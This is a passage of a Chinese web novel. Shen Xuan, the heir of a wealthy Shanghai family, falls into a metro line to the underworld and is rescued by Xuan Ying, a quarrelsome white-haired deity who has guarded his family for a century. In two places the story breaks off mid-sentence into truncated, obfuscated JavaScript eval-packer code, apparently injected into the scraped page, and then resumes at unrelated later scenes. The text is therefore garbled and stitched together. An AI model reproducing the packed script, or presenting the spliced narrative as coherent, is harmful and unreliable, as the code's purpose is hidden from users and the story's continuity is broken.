宣婴挺烦的,他把吓退众鬼的真君面具扣回去,好面子地捂起戴着铜钱耳坠的耳朵,但土地爷分明瞧见,白发苍苍的大将军脖子后边都涨红了起来。 他根本不想解释,也只能把矛头对准沈严,只见宣婴怒发冲冠从后边给这个刚当爹的二傻子一脚踹飞,嘴里开骂道:“你!第一次当爹是不是?那就听我的!快给你老婆跪下穿袜子去!别让她冻着,孕妇保养不好会关节痛一辈子的,想当爸爸,月子都不照顾是不是!奶奶的熊,活祖宗!沈家都是我的活祖宗!我去给你儿子亲自倒开水冲奶粉!去给你老婆吊鸡汤补身体!这个家没我真得散!” 9. 天字号:金华夜鬼(4) 上海市地府的生死簿上从此多了一行朱砂色的字迹。崔判官身着红袍,刚正不阿的长相也如民间传说一般,他提起判官笔写道,“一个名叫沈如诚的男婴在1973年9月20日的上海出生,一个名叫叶鹿鸣的女婴在1973年12月21日的苏州出生,他们二人此时还未结识,却会在人间缔结夫妻良缘,修百世之好……” “你等等!别急!” 旁边突然插入一个聒噪的声音,白发苍苍的冥府修罗神跟滚地龙一样钻到桌底下,一只指甲颜色鬼魅、手臂戴满了五彩斑斓饰品的手揪了揪判官大人的胡子。 “老崔,你别写那些没有实用主义的,房呢?让他俩在上海买房,狠狠买,听说川沙未来要盖迪斯尼,把地给我往那里买多点,女孩子也要考大学,让沈如诚一毕业就给我投资,搞股票。” 崔判一个文人忍无可忍,丢笔砸中那个跑到桌上抖腿剔牙的宣小爷,哐哐爬上桌子就要跟他骂脏话干架。 “恁真滴吵闹!都在我耳边叽叽喳喳几天了!你岳父岳母是天命贵人转世投胎,比你我的命都要好一百倍!你给我住嘴!再吵就把你的小媳妇给写出生死簿去!让你再等100年!” “你敢!你个鬼登西!快把生死簿给我!” “不给!让你接着唱大戏!哈!哈哈!陆判陆判!快,快把生死簿接住别给宣婴抢走——” “真是的!跑什么跑!我纸上的愿望清单还没说完呢!” “我要求三官保佑沈选,所愿如愿!所想成真!” “我求三官保佑沈选,今年欢笑复明年!他生之年,永胜旧年!” “我求三官保佑沈选,所愿皆可得,物候常如意!” “喂喂喂?崔判!陆判!你们真跑了?” “那那那我再求一件事!其他都可以不要写——就写一句话——” “我要沈如诚和叶鹿鸣一世恩爱两不疑!” “我要他们因爱结合!” “因爱生子!” “宣婴今日替一人发愿,只求上苍保佑他吧!” 30年后,有个明眸皓齿的小“仙童”坐在家里成堆的生日礼物面前问他的爸爸妈妈。 “我的名字有什么寓意吗?” 已为人父的沈如诚说:“有。” “你的名字叫沈选,为什么一定非得让你叫沈选?因为我们沈家的祖籍浙江绍兴,而非上海,曾经我们有一个长辈,他在南京西路开着一家纸扎铺,因纸成名的他某天得到了一个100年的预言……” …… “100年!” 上海龙华寺位于徐汇区中部,观其路牌上龙华路2853号的古朴典雅,就知道这所寺院蕴含的历史人文价值,可在这样一所沪籍名刹的两个街区旁边,一群年轻人的声音今夜也能盖过传说中的龙华晚钟。 “这球!牛叉了!真是球迷心中的奇迹啊!” 过了一百年,人间还是那个样子。 今年是2025年,时值夏天,上海的7月发生了两件球迷才懂的大事。 第一,肯定是西班牙门将转会,大批中国粉丝在社交媒体无能狂怒。 第二件事,就是今天全体球迷都在外面喝酒发疯,只因欧洲杯初赛正在上演点球大战。 此番战事看起来相当激烈,一家家气氛沸腾的足球酒吧像点着了一把竞技赛场上的火炬之光,直到胜利的钟声最终定格在一个足球擦过白人门将的画面上。 那个足球是怎么神乎其神地踢入了球门的,电视机还重演了一遍。 解说员替所有人立刻表演拍桌子大叫:“球,进了!意大利队!战胜了荷兰!” “哗啦啦——赢了,赢了!!” 从掌声数量来听,上海球迷们都见证了一场精彩纷呈的点球直播大战。 作为欧洲杯的揭幕战,意大利对战荷兰本来真不好猜结果。 直到现在意大利狠狠地争了一口气。 只是,荷兰队球迷想必此刻的心情很坏。 比如位于横跨一条黄浦江的那边,某洋房火锅的包厢,前后脚走出来的四个同济大学学子看样子也是刚看过球的。 这个尖顶帽红岩洋房建筑是一个纺织大王家族在1930年变卖家产出售的,前身在破旧脏乱的弄堂,经过香港人老板的改造,如今已经是人均5400的上海高档消费场所了。 他们这一宿舍四年来都看足球,但有三个人是荷兰队球迷,只有是一个友情支持意大利队的。 今天那个意大利球迷算是扬眉吐气了。 如果不是出租车接单师傅很快到了,这三个荷兰队球迷已经准备大闹花果山了,他们还各有各的小品节目。 左边上铺贾俊杰提了一瓶喝了一半的雪碧,拖了个醉醺醺的下铺张帅,他俩又亲又抱,一路肉麻到了车前。 受不了想吐的右边上铺王新杰指指车屁股,他嘴里塞满呕吐物,感觉快对月球发射了。 司机师傅眼看就要跑单,在场最靠谱的那个人终于来了。 这人还没过马路的时候就被三个朋友叫出了名字。 “沈选!!” 司机探头问:“是你帮他们三个人叫车的吗?” “不好意思,我尾号是6954……” 闯入别人耳中的这道声线温柔体贴,自带谦谦君子风范,若这是民国时期,这就是上海滩的名门世家公子。 司机立马看着这个人,这位沈选就是帮三个朋友叫车的,他不紧不慢地踱步回来就扛起两个兄弟,气喘吁吁地说:“师傅,我带他们去吐了再上车,太晚真不容易打车,谢谢您乐意过来,我待会儿多给点车费行不行。” 观察此人的容貌谈吐和劳力士一眼,司机火气一下子被动消了大半。沈选和司机谈妥价格,他就关门上保险,安排三个朋友,又在后座放好一袋子刚拿回来的凯司令栗子蛋糕。 这东西可是老一辈人对上海老味道的启蒙,所谓上海滩老味道,可不仅仅是浓油赤酱,还有洋派时尚的西饼。 海派司机对沈选他们几个人改观了,他试图套近乎进一步科普:“凯司令现在有很多分店了,但最正宗的在——” “沈选你给哪个姑娘带蛋糕!”贾俊杰的嚷嚷打断了司机。 张帅也对窗外大叫:“你是不是暗恋谁啊,怎么老买凯司令。” “别闹了。”沈选淡淡地说,“你们都喝多了,蛋糕是给你们买的。” 舍友们说:“哦哦哦,好吧。” 沈选教育好白痴舍友们,司机师傅和沈选都觉得哭笑不得,司机也不由得透过后视镜观察这个沈选的正脸。 沈选的名字文气,人也温儒聪敏,他剪的很短还打薄的发型清爽不油腻,身上米白色的名牌冲锋衣能看出来家庭条件非常不错。 可他一直在耐心地顾及身边友人和车内卫生,给人感觉非常负责任也好说话,从不跟人吵架红脸。 他的内在修养这么看是盖过了外貌,但他又生的俊眉修目,丰神绰约,行动间斯文得体,利落纯粹,在气质这一块拿捏的相当稳妥,还一点没被世俗晦气磨损精神气,是能让家人师长都把他当成模范生的人。 司机师傅不愧是见多识广,他没感觉错,沈选还真是这样的人,他现在就在操心回家太晚影响父母休息的事情,表情却没有暴露出来。 毕竟难得出来看球,他不想扫兴。 而且大家临近毕业时,是他说好的,今年谁先找到工作,就会请其他三个人吃洋房火锅,看欧洲杯直播。 沈选总是以家人为软肋,他开始发短信给父亲。 “爸,跟妈说让她睡前记得吃多元维生素。” 沈如诚回复儿子,“嗯,你还在看球?” 沈选答:“没,结束了,送他们回家。” 可能是今年就业环境真不好,宿舍三人答应出来吃饭的样子也很丧。沈选挺会提供情绪价值的,把三个舍友款待地很周全。 他点单都不用看菜单,一年来十几次的他直接选择家里人平时里也爱吃的斑节虾,象拔蚌,东星斑,和牛。最贵的酒水也是沈选从家里带来的。 四人往杯中倒上酒,在沈选的提议下,碰了下,心里也变的敞亮了。 不过友情出手相助舍友们的沈选刷的还是他的个人卡,他也想用第一次的工资请客,可惜他还没决定好去不去父母提前安排的公司职位。 舍友们也都知道,他家里可不一般,从太祖父和太祖母开始,他家祖上就已经小有祖产。 沈选虽说没生在繁华锦绣的民国,也根本不必像普通人一样找工作,因为外滩证券大王沈如诚老板和同济教授叶鹿鸣老师完全能让他这个独生子在26岁已经可以享有学术圈长辈的支持和充裕的家庭人脉,社会资源。 “对了,沈选,你还准备在网上写那本《绍兴傩仙》吗?道门女天师替亡夫降伏了人皮傩之后的情节你打算续写什么故事?”旁边的舍友忽然问他。 沈选一愣,淬着一抹夜色温柔的淡眸回过神来,他看着微微握拢的双手。 这手一个茧子都没,跟他的人生一样,是白玉无瑕。 所以如此精英思维的他自从毕业后就在张罗进公司后怎么快速交出父母满意的第一个成绩。 至于他最后一次想起绍兴二字,那好像还是…… 其实他也不记得了。 于是沈选想了好久,决定说出了他永久断更的其中一个理由。 “以后一辈子当个普通人上班肯定忙。” “也是,你就差……找个对象给你爸妈了……” 舍友贾俊杰点头表示理解,大家此时刚好到了目的地,但是在他们说完散了以后,唯独张帅没走,还没忍住追到沈选的车窗边,带着感激拍拍玻璃说:“我们三个可能回请饭局没那么快,谢谢你了兄弟。” 沈选说,“客气了,涉及找工作的事都可以说,我随时恭候大驾。” 舍友叹气:“你做人别太厚道了,沈少爷,我一个屁民何德何能。” 沈选道:“你和我说这种话才是生分了,我坚信,友情不能收买,也不会被出卖。” 司机师傅十几年没从生活中听过这种对话了。 后来车继续开,今晚这趟行程的后半段,沈选打算坐地铁去他徐家汇的那套房子。 望着上海的街角,沈选的双眸平和中透着无趣,这为人方式对他的年纪来说太正经死板了。 只是,每个人表面被他人看到的东西未必是全部。沈选有时候也会反叛,比如,他从小到大一直想改名。 他是姓沈。 但按照家里面的说法,他生下来之前就已经被安排好叫沈选了。 沈选,神选…… 沈家神龛所选之—— 不……别想了,停。沈选掩盖了多余的想法,然后就是从地铁口进入到无障碍电梯。 可是在不知不觉中,他有点忽略了世界的流速,并且此时才后知后觉感到今年的天气已经透着初秋的阴冷。 沈选在这种寒风中接近下方地铁安检口,隧道底部空气还有怪味传来。 深红色的远光灯裹住全白色的活人,从背后吃掉了他的影子。 空气全是白骨露野的阴魂腐臭,四周像什么肉类鱼类放在冰箱烂掉,混合着骨头渣子上的残留气体真的容易让人反胃吐出隔夜饭。 沈选意识到了崩溃的边缘,脸色苍白潮红,习惯性拉低外套帽子,他的微分碎盖挡住沟壑很深的鼻梁结构和俊朗嘴唇,拒绝干扰的耳朵上扣着深空灰色的耳机,速度越发加快地走出了9号线的光线中。 “跑!快跑!!别停下!别看地铁!” 沈选的日常作风并不如此,可眼睛里面闪过一丝人类的恐惧情绪后,沈选好像在被一种神,一种仙吞噬。 地铁报时就在这时响了,内容好像在说前面刚走的车是他要搭的。 可偏偏虹桥路到宜山路中间的转车通道并没有因为过了高峰期而空旷。 好多人都在。 但沈选觉得和他一起下行的没有人,只有风。 对此,沈选莫名感觉脚在挂自动挡,他和几十道来来往往的脚走在同一个地铁b1。 一种头晕眼花的错觉中,沈选依稀感觉肩膀上多了一个追上来的长发女人,哈了他一口的女乘客手臂上有绿色尸斑,脸上都是腐烂变质的组织。 沈选心态直接崩了,一下子没注意又看到旁边车厢内部有一个浑身密密麻麻都是红色水痘的恐怖男人。 周围人统统穿过了这两个“乘客”。 这个情况,只能理解成秩序崩塌的上海地铁准备平等地惊吓沈选。 好在两个东西都没有活在现代社会的目的性,他们飘摇不定,转瞬之间化为乌有,只留下鬼魅散开的青烟。 沈选也只把不幸中奖的目光放在前方,他再跑几步就可以上地铁了。 但是他的耳机已经甩到后脑勺,正常的3号线还是看不见影子,他只能绑架着跳出嘴巴的心脏逼自己必须沉住气,惨白色的嘴唇无声地阖动,用力地睁着眼睛往中间线跨栏一样跑了过去。 终于费了半天劲,他好像离那个目标近了。 当沈选对铁轨伸出双臂,用力顶出一条腿终于踏入回荡着波纹的白色光墙,如弦上箭矢冲出闸口的他没发现他的背包拉链打开了一个缝,一些秽迹斑斑的符篆纸张就在他身后散落开来了。 那些都是写满道教口诀的符纸,它们轻巧地飞到了地铁彼端的老时光,隧道深处的亡魂们消失了一部分。 沈选的后背被人一推,顾不上抓回纸,往电轨一跃而下。 顿时空气忽然地静了下来。 等死的他听到了音乐,全家便利店的玻璃门在他的耳边自动地发出欢乐的电子声音—— 站台的提示也送入他被“滋啦滋啦”电流声控制的耳朵。 这一刻他早没了任何还能活着爬出地铁的想法。 但是冥冥中的沈选却又有种感觉,仿佛,他这么无聊,正常,不惹麻烦的人一直在等待某种戏剧性的变化,把自己从平凡无趣的人生中解救出来。 “尊敬的乘客朋友,您已刷地府卡,获得城隍路引,下一站,上海市地铁3号线黄泉路即将到站——” 耳边报站声音响起的那一瞬,沈选张开了眼睛,不再平淡度日的瞳孔更是从未有的亮,好像,他一直在等的就是这个。 可在人间活了26年,上海地铁隧道有一个异次元还是超出了他的想象。 扑通一声,沈选再年轻力壮,也抵不过力的相互作用。 他摔下了头顶上反着绿油油光线的3号线。 在正前方,一辆地铁夹杂着浓烈的血腥味扑面而来。 那种血肉腐烂变质的恶臭在地底构成了一副地狱变相图,几乎是再用100年都无法替此处彻底清洗干净的。 可他到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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土地公说完这句话,自顾自地摘了他在五猖祠上班的工作证,又播放起手机上的小视频。 他的后台运营账号也暴露了,赫然叫@金华市义乌市五猖祠文旅官微。 难以想象,神仙也冲浪看彩妆、穿搭、护肤、宠物、美食,可土地公看得乐了好几次,而后,他先换下白天扮成内殿义工的工作服脱去洗了,又卸掉老花眼镜的伪装。 下一秒,这个仙家学人家博主一个原地扭身分镜,就从普通退休大爷变成了一位头戴方巾,身穿直裰绸鞋,顶着一个通红酒糟鼻和大白胡须的老神仙。 如此新奇的自媒体赛道…… 网上那帮换装视频博主如果亲眼看到,一定会怀疑世界坏掉了。 偏偏有着网红主播梦想的老神仙还抖抖那件全国土地爷工会统一订做的神仙袍,把假胡子粘的更牢固,嘴里嘿嘿一笑。 这时候,土地公公的手机上又传来一阵南殿仙姑和月老祠前段日子拍的带货主播广告: “家人们,我是你们的主播小姐姐,金华大将军殿门票免费最后两单,大家抓紧拍一单,我就下播了,记得给直播间点点赞啊。” “我重生了,重生在豪门前夫跪下对我求婚的那一刻,上一世,渣男欺我,婆婆打我,这一世我从头再来,势必要在金华大将军庙月老祠拿下两个‘分手拍黄瓜符’,考研上岸!本广告中的文创御守由本府月老爷开光,对正缘亦有神效……” 凡是提到一个大将军的,每条视频必有十万加的神仙界点赞。 那么金华大将军殿第一顶流现在正身在何处呢? 土地公公的步伐带着答案接近了不开放的内殿,此时此刻,淡季不忙的道观神仙们已经围着大家的领导宣将军等开会,宣婴一上来先让陆地仙官们好生坐好,他也询问他们的单位行政一把手:“土地,我去给你端个凳子?” 土地公公点头谢了谢自家领导,他将自带的折叠小板凳拿出来,拧了一下景区logo的胖胖杯说,“大将军,我是地官殿的党员老先进,上级强调地府公务员要试着打入群众,老头子一样不能搞特殊化,我飘着开会都完全撑得住。” “那我就说正经的,天官通知我,今年新政策出了,领导们要给地官单位和水官单位发钱了,哦,不,是赐福了。” 宣婴长话短说。 金华府众仙一下子交头接耳起来。 一般人或许能见鬼,却根本没有机会拜见天官们。 在民俗画中描绘的天官们,也往往是一个个人类想象的喜庆形象。 他们用着古代官员的标准长相,身穿大红官服,龙袍玉带,手持如意,五绺长须,面容慈祥,可除了封号是福神,所有的天官都不是人类,祂们早已经长生不老,实现飞升,并且脱离宗教场所的体型外形都是不可窥探的,甚至有的天官基本上是凡人们最害怕的巨灵之物。 这话说回来了……他们金华大将军殿是得好好在报告里面夸夸“大”领导们的扶持,光是福禄寿三个大部门领导从不克扣补贴,有空就拉他们搞联动聚餐,分发烟酒香火,寿星大人去年还说要给宣婴介绍对象来着呢。 一切还得是因为宣婴长得俊,也讨喜。 宣婴也有几点要说:“金华市地铁这不是通了两三年呢嘛,年底前咱们下地狱搞个地府生活圈文旅项目。” 土地听了不禁感慨地府地铁的好处。 民间故事里的包公夜游地府不知不觉已经变成了人人都可以坐地铁游地府,这可是一座城市地下的延伸。 曾经如果你下地狱投胎找不到地府,鬼差得追着你到处索命,现在你就算是中元节想上来逛逛,也可以自己搭地铁办理阴间签证嘛。 这就叫,一站式下地狱和免费阳间自由签。 ''@地府文旅''的关注更新提醒就在此时打断了土地。 开会还没结束,土地下意识低头,忽然注意到这个号发的内容是上海的紧急新闻。 在这个关静音的视频里,遭遇不干净东西袭击的人正是沈选。他刚才跳出了一百年后的站台,身体直接掉落到另一边地铁站台。不到半小时,土地爷就刷到了他。 从视频看,3号线诡异的站内语音才落下,在他背后已经全部断电,留下来的只有一个空的隧道,和疑似前方地铁车头亮起的一盏绿灯。 ……完了。中奖了。 沈选那一刻脸上目睹危险的表情写着绝望,看起来退后也来不及了,他紧急地转过身来,身体用力撞,眼前有个看不见的墙像长着腿,生生把单机版游客沈选踢飞了回来。 他被挡在了里世界,便只能向另一头一瘸一拐走,谁料,下一秒视频就传来地府夜游鬼魂的咆哮—— 土地爷看得瞪直了眼睛! 本身沈选就不是大众脸,他的人虽然目前安然无恙,但是这身衣着太忌讳了,和阎罗煞气一对比活脱脱是油锅前摸爬滚打的瞎子,全白色的衣服,在他们地官眼里可不兴穿啊。 土地赶紧从评论区抬头找宣婴想办法。 宣婴在忙工作,他赤红色的耳环项链好似壁画上的朱雀星宿,满头鬼魅艳丽的传统道教头饰和扎成高马尾的沧桑白发都不带抬一下的。 “咳咳!!” 最重视工作的土地继续挤眉弄眼,用嘴型暗示散会。毕竟沈选二字真的不能直呼出来,因为这是一个不能给其他仙家发现领导私人感情的……厉害名字。 10. 天字号:阴判(1) 沈选正继续摔在另一个上海的地铁站台。上海地铁的第一条线路于1993年5月28日开始运营,是继北京、天津后的第三个城市轨道交通。 但是上海地铁的建设早在1958年就开始了,虽然后来由于技术和资金问题一度中断,直至1990年恢复动工。 一个停工说法是因为社区居民的举报,据说他们担心地铁的震动会影响他们的生活质量,影响房子的价值,影响他们未来的房产交易。 至于第二个,就邪门了。 已经处在另一个交界处外部传来的窃窃私语,更是把他惊魂未定的思绪推入接下来的这一段断魂路。 “你听到没有?刚刚那个全家便利店的开门锁忽然变了调子,对了,你有没有听说过一个跟附近地铁站有关的讲法吗。” “是当年修地铁挖出过死尸的谣言吗?” “这真的不是谣言,地铁这东西本来就邪,上海又是全国最早通地铁的大城市之一,但是从五十年代挖出隧道口到真正通车却用了三四十年,因为政府在开挖之初碰到了数不清的灵异事件,什么饿的肋骨凸出来的浦东黄包车夫,什么悬梁自尽的资本家小姐,什么跳苏州河的……” “你讲的我好冷!回头我要喊家里老人帮我喊魂收惊了,哎,要不周末哪天去龙华寺拜拜?” “好呀,所以,我们正常人做晚班地铁就是要当心一点,老人都说,后来地铁之所以能打通,是因为上海地府和上海市政府合作开了两条线,宜山路是“鬼界”的分叉口,人去的站台才叫宜山路,鬼区的那一站是黄泉路……当然还有一种人,他们只要在这里坐地铁,就一定会坐错传说中的黄泉路。” 沈选已经来到了闸口对面,他都有种荒唐感。 捋顺了呼吸,他的身体微微发抖,找角落处跪下,拿出手机查询了一句话。 ——搜索: “上海地铁建于几几年?过程中发生了什么事?” 沈选打完字,他才放平腿,身下有背包垫着,脸色苍白的青年越发艰难地呼吸新鲜空气,肺部依旧在排斥地铁口的尸臭味。 五花八门的互联网时代讯息也有了回答,网友们都说了一些看法,或者说一些怪谈在身边的亲人朋友例子。 静安寺的神秘吃人女尸,某个地铁口上面的老殡仪馆——他真的孤陋寡闻了,原来全上海的地铁一百年来都不缺怪谈。 这已经涉及到了凡人世界的知识盲区,可一个非大型地铁故意分出一个线路,怎么会是因为地底深处有源源不断的地府移民。 地府通了地铁要干嘛? 这年头阴间不会真有文旅项目吧?他去阴间旅行参观学习人怎么死? 但总之,沈选喝的酒精含量已经不能解释一切了,他面色煞白地说,“中国是发展中国家能理解,中国还有发展中地狱……这太抽象了。” 活人的心理素质就是这样,沈选一看就是个标准现代人思维,有些观察他很久的神仙们看来需要纠正他的错误想法。 …… “你说……谁?” 拿起网上的视频看看,宣婴看着沈选往后一倒,他翘起二郎腿盘到膝盖上放着,思考严峻问题的胳膊叠一起。 “哦,他,我当谁。” 土地爷问:“你怎么还坐着?要不你亲自过去一趟看看吧?” “别,金华府在评选地府文明城市呢,我走不开。” 黑暗中的宣婴好像不怎么想关心沈选的死活,皮带上挂着的钥匙串和姻缘御守却跟着一起晃了晃。 土地爷下意识看他这嘴巴和身体永远不配合彼此的样子,宣婴的目光落到了腰间,他的脊椎一僵硬,反手就是一巴掌藏起那个求桃花御守。 脸色微变的白发大将军开始外强中干了。 “行吧!既然是你觉得我需要管管他,那我来摇两个哥们儿捞他吧!以后可不能这样!” 宣婴粗声粗气教育完别人,嘴角抽搐地顶着土地的催促把黄表纸一张张叠成元宝,之后他亲自叠好路引,土地爷端起篦子把金银元宝倒入火焰帮助焚烧,二位仙家的符箓一瞬间也抵达兄弟单位上海。 上海地官部门久违地抓到一个活人,正打算展现出了大城市地府公职人员的办事效率,他们准备把沈选抓去地狱第五层拘留十五天。 沈选不知道他要挨鬼差处罚了,只觉得周围环境更冷了好几度,但地铁旁边本该是两部出站电梯的通道多了一个“洞”。 那是一个充满道教风格的青铜莲花,它似乎是异次元的入口,这个大漩涡的中间还有一个骷髅头含着镇魔珠,左有地狱三重转轮,又有恶鬼拔舌吞火焰,内部向上翻滚的电梯“台阶”是一节节白色的人体肋骨,更不可思议的是,旁边另一个空间的路人们永远都看不到这个通道。 更离谱的是两个穿地铁站警制服的夜叉爬了出来,两个“官”体型之庞大魁梧足足有三米还有余。它们一个面色萎黄,头大如斗,一个皮肤铁青,发丝火红,可跟民间传说中描述的鬼怪不同,二位鬼差爷身上多少都有一种班味。 它俩的铜铃大眼毫无差别地、严密地覆盖了在宜山路站台的每一个角落,刚好轻微的蜂鸣声响起,沈选整个身体沿轨道的震荡在不安发抖,他还朝着头顶后方一个圆形的黑洞看了一眼。 一车厢内的民国人、清朝人在车上看视频的看视频、打游戏的打游戏。 百鬼。 夜行? 沈选尽力地睁大眼睛,还是没有撑住眼皮打架的沉重感。 眼前的一切荒诞地府穿越剧情终于完全被黑暗吞没,夜叉把他踢出了站台。 可也就是他吓晕后,一根带串铜钱的红线灵光一现出现了,就在他脸上方的不远处,传来宣婴在金华神殿捞他人,又阴阳他的声音。 “真行,都学会偷偷摸摸在外边喝酒不按时回家了,酒就这么好喝?喝了能长命百岁?” 土地忍不住叹气说:“真君爷,你从哪儿学来了这种两口子吵架说的话?” 宣婴生于1938年,他的思想上还颇为保守,一个没留神把心里话差点说出来了。 “我从来没把他当——当我没说!” 说完也不等土地公公说其他话,宣婴冷下脸冲出门去,土地爷压根没拦着,默默倒数3,2,1…1刚落下,真君爷果真又没忍住发善心了。 “好了好了!我真是倒了八辈子血霉,我来送!我来送他回家!” 土地公公把宣婴骂骂咧咧的身子劝得坐下来,撒不了气的宣真君现在却想给沈选来一个降龙十巴掌。 他这副样子跟他1959年还在上海当“女”厉鬼的样子还是一样,稍微不一样的地方可能是宣婴终于有点神仙的偶像包袱也不半夜嗷嗷了。 土地公只能特地绕到宣婴的面前来,给他展示手机上已经切换过来的地府短视频新闻。 此时,地府地铁办正以迅雷不及掩耳之势改变着活人世界的舆论导向,沈选的手机屏幕刚刚都在提醒还有十秒快关机了,忽然变红了的电量变回原来的满格,微博热搜也在全国各地推送了一条平平无奇的新闻弹窗,“2025年9月27日2 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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地府的天祀荡扫十魔真君会吃掉世间万物,他生得丑陋,故才爱扒人皮,爱佩戴五彩装饰,这个饿鬼偏偏还有个未婚夫婿——二人是早晚要抱着公鸡做冥婚夫妻的。 可是众仙们也都有点想不通……宣婴明明是一个为上天所厚爱的地府真君了,干嘛还那么过时地遵守这个诺言。 宣婴从未解释过,但沈选和他从未见过,说爱到要死要活的,这也太可笑了。 所谓的宣婴“单恋”沈选,理由其实很简单。也许他从来不知道什么人间的爱,但每一个沈家人在他眼里都好比至亲骨肉。 可能他不了解眼前这个人到底是怎么想的,但是沈选的爷爷奶奶和爸爸妈妈是什么样的,宣婴也是一个个亲眼看着过来的。 他们善良敦厚,聪慧谦逊,他们都是宣将军早已经认定的家里人。 不知道的人以为宣婴是痴情沈选,其实他知道不是的。 他的在乎,给的对象是整个沈家。 沈严,海燕,如诚,鹿鸣。 宣婴都是亲眼看着他们相爱结婚的。 这个家族如今能富贵平安,人丁兴旺,宣婴真的很替他们感到开心,他也才会感到一百年不是很长。 他再也去不了人间,但沈家的饭菜味道,沈家住过的每个房子,这些散发烟火气息的记忆是让宣婴寻找世情因果,冷暖人生的意义。 今夜,他的心脏也只把甘愿庇护自己家里人的长腿一埋,将提起灯的光芒照向上海地府的方向。 然而走动间,神君的心又是如此寂寞沧桑,好像世上从未有人真正懂他。 11. 天字号:阴判(2) 当天晚上,人间的天空下又是一声尖利鸡叫。 地底兵马司的小鬼们在鸣锣击鼓,吹奏唢呐。 子时的地铁隧道口,也来了两个拉的长长,宛若要去拜堂成亲的影子。 一位大将军走了这条地狱之路足足一百年,沿途自然是百鬼叩贺,或笑或哭,团聚一室,打鼓唱戏。 “吉时已到!” “入土为安!” 宣婴好像又聋又瞎,他完全不觉得这种常见于丧事上的声音过于吵闹。 趴在宣婴背上的沈选忍不住了,他在梦里轻轻说:“……头痛……” 不止如此,他还从身前环住了宣婴的背部,扯松长发男人的衣领子,隔着衣物揉摸了一下。 “能不能有点素质,不要……在小区练吹唢呐。” 低头正想事情的宣婴一感觉到腰上多了一双手,习惯性眯起来走夜路的眼睛瞬间瞪大,带着措手不及的愕然瞪一眼身后的那张脸。 沈选是真的睡眠质量一般,轻声投诉完靠了过来,离宣婴的脸颊很近。他的眼皮看起来分分钟要苏醒了,宣婴想了想决定公报私仇,又给了他一拳。 这也不怪他,上次有人抱宣大将军,得追溯到民国12年,可这个人是他妈,沈选区区小孩也敢对地官老爷动手动脚? “你才没素质。” 宣婴回想了一下今夜的事,生他气的程度也在增加,因为就算不谈这次,沈选能活26年几乎是靠着他一次次赊命救下的。 “你知道个屁?没有我这一声唢呐驱散邪气,你今晚都跟你舅爷沈湘一样了?天上地下的‘官’都盼着你赶紧寿终报道。” 宣婴抡完拳头还很想丢沈选进地狱涨涨记性,却被沈选半点不知死活的头蹭了蹭戴耳饰的耳垂。 “疼,不要打,香。” 沈选是真的不知道他的守护神一直都在,但他的鼻子再进一步,就能把宣大将军的脸亲到了。 这可是天上地下唯我独尊的宣婴所不能容忍的,虽然天色已晚看不真切,可宣大将军的声音已经开始凶相毕露了…… “你又来!”宣婴刚才没当着土地的面说,他的真心话现在是彻底藏不住了:“你有没有礼义廉耻!为什么每次睡过去都……你再揩油,老子今天就——脱了你的裤子把你丢到地铁站台旁边让你明天早上社死!我还知道你今天穿的是黑色内裤!你怕不怕!” “女厉鬼”宣大将军恐吓“未婚夫”沈选的方式很特别。 沈选的内裤颜色在他这里也根本不是什么隐私,两个人做不成夫妻也成不了好朋友,所以,他和他的梁子算是结了一百年了。 古话里管他们这种关系叫“怨侣”。 沈选应该也是“怕”了宣婴,但“怕”的不明显。 他不夸大将军的体香,手还抱着不放。 看见对方竟是如此厚颜无耻之人,宣婴讥讽地笑了。 “姓沈的,我懂了,你就是狗改不了吃——” “……”空气忽然静止了。 不对!!!! 他为什么要骂自己!!!! 宣婴开始使劲扭动摆脱沈选的环抱,恶气难消的同时也得肯定这位沈家后代最近有在锻炼。 沈选的身材忒健康,高挑,比小时候的那个小病秧子看起来力气大多了。 今天不又背沈选,他都不会这么震惊。 沈选竟然已经突破了沈家固定只有179左右的血脉压制,个子要比宣真君……高了一点点。 这一点点的差距,对宣大将军来说也是奇耻大辱了!沈某人的身高发育怎会如此!背上的这个鬼登西太不合常理!他是不是小时候经常背着班里其他同学偷偷喝牛奶?好不要脸! 宣婴扑腾了半天,沈选还像树袋熊一样挂在他身上,恶向胆边生的真君爷心底堆积了一大坨脏话。 但太晦气的词,神仙都不可以说。 天官说这会加重天地间的业障。 做了神仙就不能骂脏话也一度成为了宣婴最不能理解的事情。 好好神仙宣大将军只能开始学习骂人不带脏话。 “沈!!!选!!!!!” “爷爷我早晚要‘三折叠’了你!!! “我要把你放在油锅和钉板上折来折去!让你哪一面都超有面!” 宣大将军骂了一个痛快终于好多了。 眉梢染血的白发修罗下一秒更是找起了出气筒,只见他杀气腾腾地捏了一个神诀,铿锵一声,阴间的幽魂们在雾霾中化作扭曲的阴魂消散在一盏盏冥灯中,他与沈选身体所朝向的尽头也出现了一条条插到泥土里的白骨人腿。 今晚在饿鬼道动过沈选一根毫毛的,都被宣婴宰了。 小鬼们的心情可能也委屈。 宣婴送完这个让他对付不来的沈家后人,又回到了金华市。 他最近刚刚替他们单位拿到一大笔补贴,当天晚上要写一个通宵的经费预算报告。 上海市某处房子今夜有他布下的风水阵。 宣婴的心却没办法放下。 他提笔就忘字,硬是写几行,余光不由自主总想看几眼沈选在虚空中的睡觉姿势,直到他猛然意识到再不写完报告,下次开会前可就完不成领导们的指示了。 他只能收收心,因为所谓神仙,他们的职能也和世俗想象的差不多,甚至肩上的担子更重,上有玉皇大帝、后土娘娘、太白金星、太上老君及南斗北斗星君;下有地府里的阎王、县城里的城隍、乡村里的殿主爷,但凡是一个“官”,活到21世纪都得按“官”的规矩办事,大家都是忙到双脚离地的体制内神。 宣婴在地官殿的名气再奇葩也不能天天搞特殊,他还趁着手机上有红包就点了“死了么”外卖,打算迎来守夜神殿的工作。 可等到宣婴拿回来好几份外卖,土地爷还没睡,做贼一样地问:“你说,今天地铁里面的动静太大,沈选会不会发现问题?” 宣婴一顿,双手继续忙着跟打死结的塑料袋搏斗:“那我要给你打差评了啊,你不是负责让他没记忆的吗。” 